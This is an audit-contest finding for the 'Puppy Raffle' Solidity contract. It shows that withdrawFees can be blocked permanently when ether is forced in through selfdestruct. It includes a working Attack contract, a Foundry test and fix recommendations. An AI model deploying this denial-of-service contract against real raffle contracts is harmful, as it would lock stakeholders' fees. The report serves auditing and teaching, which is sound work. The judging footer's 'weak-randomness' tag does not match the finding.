First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Unexpected Balance Changes via selfdestruct Lead to Perpetual Reversion of withdrawFees Function

Osora9

Summary

The withdrawFees function in the PuppyRaffle contract is vulnerable to external manipulations, particularly through the selfdestruct function from malicious contracts. By forcing the balance of the PuppyRaffle contract to change using selfdestruct, an attacker can ensure that the withdrawFees function perpetually reverts, making it impossible to withdraw fees.

Vulnerability Details

In the withdrawFees function of the PuppyRaffle contract, a require statement is used to check that the contract's balance matches the totalFees variable before proceeding with the withdrawal. Specifically, the line in question is:

require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
​

The vulnerability arises from the dependency on the address(this).balance to determine the state of the contract. An external actor can manipulate the contract's balance through mechanisms such as the selfdestruct function, as demonstrated in the provided Attack contract. When an attacker uses selfdestruct, the contract's balance can be forcibly changed without updating the totalFees variable, making the above require statement always fail.

Impact

Such an attack can disrupt the normal functioning of the PuppyRaffle system by preventing legitimate fee withdrawals. It can also be used to trap funds or deny services to legitimate users, thereby eroding trust in the system and causing potential financial loss to stakeholders.

POC

  1. The Attack contract is initialized using the address of PuppyRaffle.

  2. At the start of the test, the raffle proceeds as usual and a winner is selected.

  3. The Attack contract then executes the withdrawFeesAttackBySelfdestruct function, using selfdestruct to forcibly alter the balance of PuppyRaffle.

  4. Due to this forced balance change, the withdrawFees function in PuppyRaffle fails because the actual balance of the contract no longer matches the totalFees variable.

  5. The test verifies this failure and catches the expected revert.

Attack

contract Attack {
PuppyRaffle public puppyRaffle;
​
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
​
function withdrawFeesAttackBySelfdestruct() public {
address payable addr = payable(address(puppyRaffle));
selfdestruct(addr);
}
​
receive() external payable {}
​
fallback() external payable {}
}

Test

function testCantWithdrawFeesBySelfdestruct() public playersEntered {
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
​
puppyRaffle.selectWinner();
deal(address(attack), 3 ether);
attack.withdrawFeesAttackBySelfdestruct();
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Tools Used

Foundry

Recommendations

1. Introduce a Raffle State Management System

Issue: The current implementation uses the contract's balance as a mechanism to determine if fees can be withdrawn. This approach can be prone to errors and may not reliably reflect the actual state of the raffle.

Recommendation: Implement a state management system using Solidity's enum to make the contract's logic more intuitive and robust.

​
enum RaffleState { Open, Closed }
RaffleState public state;
​

2. Update Raffle Entry Mechanism

Issue: When new participants enter the raffle, there is no explicit mechanism that indicates the raffle has resumed and is open for participation.

Recommendation: Update the enterRaffle function to set the raffle's state to Open whenever new players are added.

​
function enterRaffle(address[] memory newPlayers) public payable {
...
state = RaffleState.Open;
...
}
​

3. Indicate Raffle Conclusion

Issue: The contract does not explicitly signal the end of a raffle round once a winner has been chosen.

Recommendation: Modify the selectWinner function to set the raffle's state to Closed after a winner is determined, signaling that the raffle round has concluded.

​
function selectWinner() external {
...
state = RaffleState.Closed;
...
}
​

4. Secure Fee Withdrawal

Issue: The current mechanism to determine if fees can be withdrawn is based on checking the contract's balance. This is not a reliable or clear method.

Recommendation: Change the withdrawFees function to require the raffle state to be Closed before allowing the withdrawal of fees. This ensures fees can only be withdrawn after a raffle round has ended.

​
function withdrawFees() external {
require(state == RaffleState.Closed, "PuppyRaffle: Raffle is still open!");
...
}
​
Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.